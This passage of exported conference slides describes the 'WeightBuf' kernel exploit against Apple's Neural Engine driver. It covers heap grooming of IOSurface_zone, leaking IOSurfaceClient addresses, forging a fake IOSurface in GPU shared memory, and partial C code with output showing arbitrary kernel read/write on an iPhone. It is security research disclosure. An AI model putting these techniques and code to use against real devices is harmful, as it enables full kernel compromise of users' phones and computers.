00 00 00 00 00 00 00 00  00 40 74 1D 4B FE FF FF  |  .........@t.K...
88 5D F9 89 16 FE FF FF  4B 54 55 4D 01 00 00 00  |  .]......KTUM....
00 00 00 00 00 00 00 00                           |  ..
```

Leak ‘MUTK’ Section Mapping Address

What we have so far

- A kernel address from *IOKitPageableMaps* (MUTK buffer).

- *IOSurface* address from *IOSurface_zone.*

```
[+] Found scratched ShmemID 0x1f7c with size 0x4000
00 40 00 00 00 00 00 00  80 BB D9 ED 24 FE FF FF  |  .@..........$...
00 00 78 02 00 00 00 00  38 51 7F 8A 16 FE FF FF  |  ..x.....8Q......
00 00 00 00 00 00 00 00  00 40 74 1D 4B FE FF FF  |  .........@t.K...
88 5D F9 89 16 FE FF FF  4B 54 55 4D 01 00 00 00  |  .]......KTUM....
00 00 00 00 00 00 00 00                           |  ..
```

H11ANESharedMemorySurfaceParamsStruct

```
Offset Size  struct __attribute__((aligned(8)))
             H11ANESharedMemorySurfaceParamsStruct
             {
  0000 0008    uint64_t size;
  0008 0008    IOSurface *p_IOSurface;
  0010 0008    uint64_t dartMapBase;
  0018 0008    IOMemoryDescriptor *surface_memDesc;
  0020 0008    IOMemoryMap *surface_memMap;
  0028 0008    char *surface_vAddress;
  0030 0008    IODMACommand *dmaCommand;
  0038 0004    uint8_t usage[4];
  003C 0004    uint32_t ref_count;
  0040 0004    int programId;
  0044 0004    int processId;
       0048  };
```

- We need to find an *IOSurfaceClient* address to perform the arbitrary write.

Build an arbitrary kernel r/w primitive

To achieve kernel r/w, corrupt IOSurfaceClient->IOSurface location with a fake IOSurface. The attacker needs the following:

- Write primitive to overwrite IOSurfaceClient->IOSurface is needed. ✓
- Leak an IOSurfaceClient object location that's created by the attacker.
- Leak *IOSurfaceRoot* location to bypass IOSurfaceRootUserClient::getSurfaceClient() check.
- A (Fake IOSurface) kernel pointer whose content is under the attacker's control.

Leak an IOSurfaceClient object location

Leak an IOSurfaceClient object location

Where & How to find an IOSurfaceClient object ?

- Can be found in IOSurfaceRootUserClient which created it.
- Can be found in IOSurface: in a queue that keeps track of *IOSurfaceClient*'s refs.
- An IOSurface address was leaked already but it doesn't have an IOSurfaceClient object.
- The goal is to **find an *IOSurface* object that's owned by the attacker**, thus has an IOSurfaceClient.

Leak an IOSurfaceClient object location

Where & How to find an IOSurfaceClient object ?

- Can be found in IOSurfaceRootUserClient which created it.
- Can be found in IOSurface: in a queue that keeps track of *IOSurfaceClient*'s refs.
- An IOSurface address was leaked already but it doesn't have an IOSurfaceClient object.
- The goal is to **find an *IOSurface* object that's owned by the attacker**, thus has an IOSurfaceClient.
- Use *ANECValidateMutableProcedureInfo() integer overflow* to **read 1 page** from *IOSurface_zone* .

Leak an IOSurfaceClient address

Read 1 page from *IOSurface_zone*

- Round down the address of *IOSurface* to get the page address.
- Leak 1-page of *IOSurface_zone* to user-space .
- The page must have at least one IOSurface created by us.
- Reading more than one page may result in a kernel panic.
- *weightSurface* (aka *ANECMutableProcedureInfo*) address is required to achieve arbitrary read.
- Because *weightSurface* can be in *IOKitPageableMaps*, its location can be deduced from the leaked MUTK address.

Leak an IOSurfaceClient address

Read 1 page from ***IOSurface_zone:***

Leak an IOSurfaceClient address

Read 1 page from ***IOSurface_zone:***

- 1 page contains ~15 *IOSurface* objects.

Leak an IOSurfaceClient address

Read 1 page from ***IOSurface_zone:***

- 1 page contains ~15 *IOSurface* objects.
- 1 page may not necessarily have one of our *IOSurface* objects.

Leak an IOSurfaceClient address

Read 1 page from ***IOSurface_zone:***

- 1 page contains ~15 *IOSurface* objects.
- 1 page may not necessarily have one of our *IOSurface* objects.
- Spray *IOSurface_zone* with our *IOSurface* objects to increase the odds.

Leak an IOSurfaceClient address

Read 1 page from ***IOSurface_zone:***

- 1 page contains ~15 *IOSurface* objects.
- 1 page may not necessarily have one of our *IOSurface* objects.
- Spray *IOSurface_zone* with our *IOSurface* objects to increase the odds.
- Release some *IOSurface* objects.

Leak an IOSurfaceClient address

Read 1 page from *IOSurface_zone:*

- 1 page contains ~15 *IOSurface* objects.
- 1 page may not necessarily have one of our *IOSurface* objects.
- Spray *IOSurface_zone* with our *IOSurface* objects to increase the odds.
- Release some *IOSurface* objects.
- Allocate a *programBuffer* so MUTK IOSurface overlaps with one of the freed *IOSurface* objects.

Leak an IOSurfaceClient address

Read 1 page from *IOSurface_zone:*

- IOSurface_zone_page = **trunc_page**(aneMemSurface.p_IOSurface);
- Scan the whole page to find a matching *IOSurfaceID.*

```
1125
1126        for(u32 i=0; i < 0x4000;i+=IOSURFACE_OBJ_SIZE) {
1127                u8 *ptr  = _ptrbuf + i;
1128                dbg("Reading from 0x%llx \n",IOSurface_zone_page + i);
1129                hexdump(ptr,0x20);
1130                printf("--- \n");
1131
1132                /* The IOSurface we want must have one reference only so the leaked IOSurfaceClient is certainly ours  */
1133                u32 refcount = *(u32 *)(ptr + 8);
1134                u32 ss = *(u32 *)(ptr + 0xc);                /* IOSurfaceID */
1135
1136                for(int j=0; j < g_IOSurfaceIds_count; j++) {
1137                        if(ss == g_IOSurfaceIds[j] && refcount == 1) {
1138                                printf("[+] Found a matching surface 0x%x ! \n",ss);
1139                                matched.surface_id = ss;
1140                                matched.loc  = ptr;
1141 #if TARGET_OS_OSX
1142                                matched.IOSurfaceClient_loc = *(u64 *)(ptr + 0x338);
1143 #else
1144                                matched.IOSurfaceClient_loc = *(u64 *)(ptr + 0x340);
1145 #endif
1146                                matched.IOSurface_loc = IOSurface_zone_page + ptr - _ptrbuf;
1147
1148                                break;
1149                        }
1150                }
1151                if(matched.surface_id) break;
1152        }
```

Leak an IOSurfaceClient address

Exploit output:

- The second object in the page dump is a potential *IOSurface* target.

```
68 46 7D 2B 00 FE CC 4E  01 00 00 00 3B 02 00 00  |  hF}+...N....;...
80 BB D9 ED 24 FE FF FF  90 AA D9 ED 24 FE FF FF  |  ....$.......$...
---
68 46 7D 2B 00 7E FF 9E  01 00 00 00 3E 02 00 00  |  hF}+.~......>...
80 AA D9 ED 24 FE FF FF  10 91 D9 ED 24 FE FF FF  |  ....$.......$...
---
[+] Found a matching surface 0x23e !
[+] IOSurfaceClient location 0xfffffe24f0260780
[+] IOSurface location 0xfffffe24edd98440
[+] IOSurfaceRoot 0xfffffe24ef8a7000
```

Build an arbitrary kernel r/w primitive

To achieve kernel r/w, corrupt IOSurfaceClient->IOSurface location a fake IOSurface. The attacker needs the following:

- Write primitive to overwrite IOSurfaceClient->IOSurface is needed. ✓
- Leak an IOSurfaceClient object location that's created by the attacker. ✓
- Leak *IOSurfaceRoot* location to bypass IOSurfaceRootUserClient::getSurfaceClient() check. ✓
- A (Fake IOSurface) kernel pointer whose content is under the attacker's control.

IOGPU Shared Buffers as a fake IOSurface object

IOGPU Shared Buffers as a fake IOSurface object

For each shared buffer (shm) :

```
1182
1183        /* We don't need to worry about determining the offset at which a bogus IOSurface object starts because it will always be at
                offset 0, because all IOGPU shmem sizes are page size. */
1184        for(u32 i=0; i < shmems_count;i++) {
1185                /* memset(shmems[i]->shm_addr,0x44,0x4000); */
1186
1187                for(int j=0; j < shmems[i]->shm_len; j+=8) {
1188                        *(u64 *) (shmems[i]->shm_addr + j ) = 0x4141414100000000 |j; /* useful to detect faults */
1189                }
1190
1191                /* Bypass IOSurface->IOSurfaceRoot check */
1192                *(u64 *) (shmems[i]->shm_addr + 0x28) = IOSurfaceRoot;
1193
1194                /* Fake IOSurface->SharedRO with arbitrary kernel address to preform the leak via IOSurface::get_use_count() */
1195                *(u64 *) (shmems[i]->shm_addr + 0xc0) = (u64)krw.shm_kaddr  + 0x2000 - 0x14;
1196
1197                /* SharedRO location : we want to figure out which user address matches our 'krw.shm_kaddr' */
1198                *(u64 *) (shmems[i]->shm_addr + 0x2000) = 0x41410000 |shmems[i]->shm_id;
1199
1200        }
1201
```

Snippet from WeightBuf kernel exploit

IOGPU Shared Buffers as a fake IOSurface object

- Use IOSurface::get_use_count() to identify the kernel r/w shm_id.

- If the returned value is 0x41410AAA, it means that 0xAAA is the corresponding shm_id.

```
1263 #if 1
1264         iosurface_get_use_count(p->iosurface,matched.surface_id,&target_shmid);
1265 #else
1266         /* For debugging purpose */
1267         for(int i=0; i < g_IOSurfaceIds_count;i++) { ••• }
1273 #endif
1274
1275         /* assert(target_shmid); */
1276         if(target_shmid == 0) {
1277                 printf("[-] Unable to retrieve the backing shmid id \n");
1278                 return false;
1279         }
1280
1281         target_shmid &= ~0x41410000;
1282         printf("[+] Got shmem id 0x%x for 0x%llx \n",target_shmid,krw.shm_kaddr);
1283         /* sleep(1); */
1284
1285         printf("[+] Stage 5: Get stable arbitrary kernel read/write .... ");
1286         for(int i =0; i < shmems_count;i++) {
1287                 if(target_shmid != shmems[i]->shm_id) continue;
1288
1289                 krw.shm_uaddr = (u8*)shmems[i]->shm_addr;
1290                 krw.shm_size  = shmems[i]->shm_len;
1291                 break;
1292         }
```

```
[+] Loading AppleNeuralEngine framework ...OK
[+] Patching model.hwx with custom initInfo section ... OK
[+] Stage 1: Grooming kernel memory ...
[+] Grooming IOSurface_zone ... OK
[+] Grooming pageable maps ... OK
[+] Grooming kernel_map ... . . . . . OK
[+] Patching model.hwx with custom initInfo section ... OK
[+] Found scratched ShmemID 0x1f6b with size 0x4000
00 40 00 00 00 00 00 00  90 8C 89 1C E2 FF FF FF  |  .@..............
00 00 B4 02 00 00 00 00  F8 E6 5B FF E2 FF FF FF  |  ..........[.....
C0 4D C6 1C E2 FF FF FF  00 00 AA 05 E6 FF FF FF  |  .M..............
90 E4 9C E6 E3 FF FF FF  4B 54 55 4D 01 00 00 00  |  ........KTUM....
00 00 00 00 00 00 00 00                           |  ........
[+] Leaked mutable kernel section (MUTK) buffer 0xfffffe605aa0000
[+] Leaked IOSurface object 0xfffffe21c898c90
[+] Kernel location of our input buffer 0xfffffe605960000
[+] Stage 3: Dumping a memory page from IOSurface_zone
[+] Patching model.hwx with custom initInfo section ... OK
[+] Found scratched ShmemID 0x1fb8 with size 0x4000
[+] Found a matching surface-id=0x012d IOSurface=0xfffffe21c89a9e0 !
[+] IOSurfaceClient location 0xfffffe21c8235c0
[+] IOSurface location 0xfffffe21c89a9e0
[+] IOSurfaceRoot 0xfffffe4ccf59000
[+] Stage 4: Performing the arbitrary write primitive ...
[+] Patching model.hwx with custom initInfo section ... OK
[+] Got shmem id 0x1fb8 for 0xfffffe605960000
[+] Stage 5: Get stable arbitrary kernel read/write .... OK
[+] IOSurfaceRoot vtable 0xfffffff028076db0
[+] kread64([0xfffffff028076db0]) = 0x7585ed70290212f4
[+] kread64([0xfffffe605963000]) = 0x4141414100003000
[+] kwrite64(0xfffffe605963000,0xdeadbeef12345678)
[+] kread64([0xfffffe605963000]) = 0xdeadbeef12345678
[+] Kernel text base 0xfffffff0277d8000
CF FA ED FE 0C 00 00 01  02 00 00 C0 02 00 00 00  |  ................
1A 00 00 00 90 16 00 00  01 00 20 00 00 00 00 00  |  .......... .....
19 00 00 00 C8 02 00 00  5F 5F 54 45 58 54 00 00  |  ........__TEXT..
00 00 00 00 00 00 00 00  00 80 7D 27 F0 FF FF FF  |  ..........}'....
00 40 6F 00 00 00 00 00  00 00 00 00 00 00 00 00  |  .@o.............
00 40 6F 00 00 00 00 00  05 00 00 00 05 00 00 00  |  .@o.............
08 00 00 00 00 00 00 00  5F 5F 63 6F 6E 73 74 00  |  ........__const.
[+] Cleanup done
    system name = Darwin
    node name   = iPhone12-Pro
    release     = 21.5.0
    version     = Darwin Kernel Version 21.5.0: Thu Apr 21 21:51:27 PDT 2022; root:xnu-8020.122.1~1/RELEASE_ARM64_T8101
    machine     = iPhone13,3
```

WeightBuf Kernel Exploit

- Kernel r/w exploits alone are not enough to fully hack iPhones nowadays.
- WeightBuf demonstrates that despite the challenges posed on by current mitigations, memory corruption bugs can still be exploited.
- WeightBuf works across all devices: macOS, iOS and iPadOS.
- The exploit reliability may differ from one device to another, some exploit tuning is required to increase the reliability for a particular device.

Conclusion

Conclusion

- iOS now is one of the hardest (if not the hardest) targets to hack.
- This is not the end of iOS exploitation, you just need a high quality bugs to pwn it. When there’s a will there’s a way.
- There are many excellent bugs out there just waiting to be found.
- As a security researcher, learn to follow the nudges of your intuition.
- Thanks to Apple SEAR for making the challenge super fun and more interesting than ever.

Thank You!

Mohamed GHANNAM (@_simo36)